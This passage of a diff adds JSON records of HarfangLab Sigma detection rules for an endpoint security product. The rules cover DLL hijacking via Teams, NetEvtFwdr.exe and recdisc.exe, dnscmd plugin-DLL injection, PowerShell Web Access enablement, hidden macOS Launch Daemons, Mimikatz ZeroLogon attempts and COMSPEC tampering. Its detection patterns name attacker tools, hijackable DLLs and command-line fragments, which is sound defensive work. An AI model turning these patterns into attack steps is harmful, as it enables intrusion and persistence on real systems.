+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.596542Z",
+  "creation_date": "2026-03-23T11:45:34.596545Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.596553Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/SBousseaden/status/1550903546916311043",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_teams.yml",
+  "content": "title: DLL Hijacking via Teams\nid: a16193ec-65ac-4236-8677-ea8c508bb28b\ndescription: |\n    Detects potential Windows DLL Hijacking via Teams.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate executable and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://twitter.com/SBousseaden/status/1550903546916311043\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/07/25\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'Teams.exe'\n        ImageLoaded|endswith: '\\iphlpapi.dll'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a16193ec-65ac-4236-8677-ea8c508bb28b",
+  "rule_name": "DLL Hijacking via Teams",
+  "rule_description": "Detects potential Windows DLL Hijacking via Teams.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate executable and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-07-25",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a176936a-ed50-4a97-b571-745ba57b6df2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093106Z",
+  "creation_date": "2026-03-23T11:45:34.093108Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093112Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_netevtfwdr.yml",
+  "content": "title: DLL Hijacking via NetEvtFwdr.exe\nid: a176936a-ed50-4a97-b571-745ba57b6df2\ndescription: |\n    Detects potential Windows DLL Hijacking via NetEvtFwdr.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'NetEvtFwdr.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\umpdc.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a176936a-ed50-4a97-b571-745ba57b6df2",
+  "rule_name": "DLL Hijacking via NetEvtFwdr.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via NetEvtFwdr.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a1bcb546-2d2e-4a4a-b5d2-050f7f179bbd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090659Z",
+  "creation_date": "2026-03-23T11:45:34.090661Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090665Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Dnscmd/",
+    "https://attack.mitre.org/techniques/T1210/"
+  ],
+  "name": "t1210_possible_lateral_movement_using_dns_serverlevelplugindll.yml",
+  "content": "title: Possible Lateral Movement via DNS ServerLevelPluginDLL\nid: a1bcb546-2d2e-4a4a-b5d2-050f7f179bbd\ndescription: |\n    Detects the usage of Dnscmd to inject a DLL inside a running DNS server.\n    This tool can be used configure a remote (or local) DNS server to use a Server Level Plugin DLL.\n    Attackers, provided that they already have elevated privileges, can use this technique to make the DNS server load a malicious and therefore perform either local proxy execution, persistence or lateral movement if the DNS server is distant.\n    It is recommended to analyze the DLL specify on the command-line for malicious contents and to investigate the parent process for other suspicious activities.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Dnscmd/\n    - https://attack.mitre.org/techniques/T1210/\ndate: 2022/12/04\nmodified: 2025/03/12\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1210\n    - attack.persistence\n    - attack.t1543.003\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Dnscmd\n    - classification.Windows.Behavior.Lateralization\n    - classification.Windows.Behavior.ProcessInjection\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        - Image|endswith: '\\dnscmd.exe'\n        - OriginalFileName: 'dnscmd.exe'\n\n    selection_args:\n        CommandLine|contains|all:\n            - ' ?config'\n            - ' ?serverlevelplugindll'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a1bcb546-2d2e-4a4a-b5d2-050f7f179bbd",
+  "rule_name": "Possible Lateral Movement via DNS ServerLevelPluginDLL",
+  "rule_description": "Detects the usage of Dnscmd to inject a DLL inside a running DNS server.\nThis tool can be used configure a remote (or local) DNS server to use a Server Level Plugin DLL.\nAttackers, provided that they already have elevated privileges, can use this technique to make the DNS server load a malicious and therefore perform either local proxy execution, persistence or lateral movement if the DNS server is distant.\nIt is recommended to analyze the DLL specify on the command-line for malicious contents and to investigate the parent process for other suspicious activities.\n",
+  "rule_creation_date": "2022-12-04",
+  "rule_modified_date": "2025-03-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.lateral_movement",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1210",
+    "attack.t1218",
+    "attack.t1543.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a1d89f7b-31f9-409e-8e50-56b3bad0e73b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085896Z",
+  "creation_date": "2026-03-23T11:45:34.085899Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085903Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/powershell/module/powershellwebaccess/install-pswawebapplication",
+    "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-241a",
+    "https://gist.github.com/MHaggis/7e67b659af9148fa593cf2402edebb41",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/techniques/T1219/"
+  ],
+  "name": "t1059_001_powershell_web_access_installation.yml",
+  "content": "title: Windows PowerShell Web Access Enabled\nid: a1d89f7b-31f9-409e-8e50-56b3bad0e73b\ndescription: |\n    Detects the installation of the PowerShell Web Access Feature.\n    Powershell Web Access is a Windows Server Feature which can be used by adversaries for remote access.\n    It is recommended to investigate the process that set the registry key for suspicious activities.\nreferences:\n    - https://docs.microsoft.com/en-us/powershell/module/powershellwebaccess/install-pswawebapplication\n    - https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-241a\n    - https://gist.github.com/MHaggis/7e67b659af9148fa593cf2402edebb41\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/techniques/T1219/\ndate: 2024/09/06\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.defense_evasion\n    - attack.t1112\n    - attack.command_and_control\n    - attack.t1219\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n      EventType: SetValue\n      TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Component Based Servicing\\Packages\\Microsoft-Windows-PowerShellWebAccess-Package*\\Updates\\WindowsPowerShellWebAccess'\n      Details: 'DWORD (0x00000001)'\n\n    exclusion_tiworker:\n        ProcessImage: '?:\\Windows\\WinSxS\\amd64_microsoft-windows-servicingstack_*\\TiWorker.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a1d89f7b-31f9-409e-8e50-56b3bad0e73b",
+  "rule_name": "Windows PowerShell Web Access Enabled",
+  "rule_description": "Detects the installation of the PowerShell Web Access Feature.\nPowershell Web Access is a Windows Server Feature which can be used by adversaries for remote access.\nIt is recommended to investigate the process that set the registry key for suspicious activities.\n",
+  "rule_creation_date": "2024-09-06",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1112",
+    "attack.t1219"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a1ed8019-9b29-4699-9c30-056751959bd0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627371Z",
+  "creation_date": "2026-03-23T11:45:34.627373Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627378Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1543/004/",
+    "https://attack.mitre.org/techniques/T1152/"
+  ],
+  "name": "t1543_004_new_daemon_hidden_file.yml",
+  "content": "title: New Hidden Launch Daemon File Added\nid: a1ed8019-9b29-4699-9c30-056751959bd0\ndescription: |\n    Detects a new hidden Launch Daemon file being created.\n    An attacker may create or modify Launch Daemons to execute malicious payloads as a way to establish persistent access.\n    An attacker could hide the file describing the Launch Daemons to hinder investigation and evade defenses.\n    Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS.\n    Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction.\n    It is recommended to investigate the newly created Launch Daemon for malicious content.\nreferences:\n    - https://attack.mitre.org/techniques/T1543/004/\n    - https://attack.mitre.org/techniques/T1152/\ndate: 2023/07/11\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1543.004\n    - attack.t1152\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Persistence\n    - classification.macOS.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image:\n            - '/bin/mv'\n            - '/bin/cp'\n            - '/usr/bin/rsync'\n        CommandLine|contains:\n            - ' /Library/LaunchDaemons/.'\n            # Also catch /Users/<name>/Library/LaunchAgents/.\n            - ' /Library/LaunchAgents/.'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a1ed8019-9b29-4699-9c30-056751959bd0",
+  "rule_name": "New Hidden Launch Daemon File Added",
+  "rule_description": "Detects a new hidden Launch Daemon file being created.\nAn attacker may create or modify Launch Daemons to execute malicious payloads as a way to establish persistent access.\nAn attacker could hide the file describing the Launch Daemons to hinder investigation and evade defenses.\nLaunch Daemons are plist files used to interact with Launchd, the service management framework used by macOS.\nLaunch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction.\nIt is recommended to investigate the newly created Launch Daemon for malicious content.\n",
+  "rule_creation_date": "2023-07-11",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1152",
+    "attack.t1543.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a20dba34-aa51-4f61-a9f2-5eaff30f5810",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.596590Z",
+  "creation_date": "2026-03-23T11:45:34.596593Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.596601Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/gentilkiwi/mimikatz",
+    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1472",
+    "https://attack.mitre.org/techniques/T1078/"
+  ],
+  "name": "t1078_zerologon_mimikatz.yml",
+  "content": "title: Mimikatz Netlogon Authentication Failed\nid: a20dba34-aa51-4f61-a9f2-5eaff30f5810\ndescription: |\n    Detects when a netlogon connection attempt fails with mimikatz as machine name.\n    This is the sign of a mimikatz lsadump::zerologon test or exploit attempt related to CVE-2020-1472 (aka ZeroLogon) exploitation.\n    It is recommended to check the source of the connection and analyze the source machine for suspicious activities.\nreferences:\n    - https://github.com/gentilkiwi/mimikatz\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1472\n    - https://attack.mitre.org/techniques/T1078/\ndate: 2020/11/13\nmodified: 2025/03/07\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.credential_access\n    - attack.t1078\n    - cve.2020-1472\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Exploit.CVE-2020-1472\n    - classification.Windows.Exploit.ZeroLogon\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    service: system\ndetection:\n    selection_event:\n        EventID: 5805\n\n    selection_param:\n    # this is normally param1, but we cannot be sure?\n        - EventDataParam1: \"mimikatz\"\n        - EventDataParam2: \"mimikatz\"\n\n    condition: all of selection_*\nlevel: high\n# level: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a20dba34-aa51-4f61-a9f2-5eaff30f5810",
+  "rule_name": "Mimikatz Netlogon Authentication Failed",
+  "rule_description": "Detects when a netlogon connection attempt fails with mimikatz as machine name.\nThis is the sign of a mimikatz lsadump::zerologon test or exploit attempt related to CVE-2020-1472 (aka ZeroLogon) exploitation.\nIt is recommended to check the source of the connection and analyze the source machine for suspicious activities.\n",
+  "rule_creation_date": "2020-11-13",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a2841070-5315-4b34-829e-4f0061d533c0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.602174Z",
+  "creation_date": "2026-03-23T11:45:34.602178Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.602185Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_recdisc.yml",
+  "content": "title: DLL Hijacking via recdisc.exe\nid: a2841070-5315-4b34-829e-4f0061d533c0\ndescription: |\n    Detects potential Windows DLL Hijacking via recdisc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'recdisc.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\bcd.dll'\n            - '\\Cabinet.dll'\n            - '\\ReAgent.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a2841070-5315-4b34-829e-4f0061d533c0",
+  "rule_name": "DLL Hijacking via recdisc.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via recdisc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a31984d3-02cb-47d0-8652-a0456df9c2a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.069598Z",
+  "creation_date": "2026-03-23T11:45:34.069600Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.069605Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1216/"
+  ],
+  "name": "t1216_powershell_comspec_tampering.yml",
+  "content": "title: COMSPEC Tampered via PowerShell\nid: a31984d3-02cb-47d0-8652-a0456df9c2a6\ndescription: |\n    Detects a tampering of the COMSPEC environment variable in a PowerShell script.\n    Attackers may replace the COMSPEC variable to execute arbitrary binary instead of the default one.\n    It is recommended to check for suspicious child processes spawned by the detected process.\nreferences:\n    - https://attack.mitre.org/techniques/T1216/\ndate: 2022/01/21\nmodified: 2025/04/08\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1216\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.ConfigChange\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains: '$env:comspec='\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a31984d3-02cb-47d0-8652-a0456df9c2a6",
+  "rule_name": "COMSPEC Tampered via PowerShell",
+  "rule_description": "Detects a tampering of the COMSPEC environment variable in a PowerShell script.\nAttackers may replace the COMSPEC variable to execute arbitrary binary instead of the default one.\nIt is recommended to check for suspicious child processes spawned by the detected process.\n",
+  "rule_creation_date": "2022-01-21",
+  "rule_modified_date": "2025-04-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
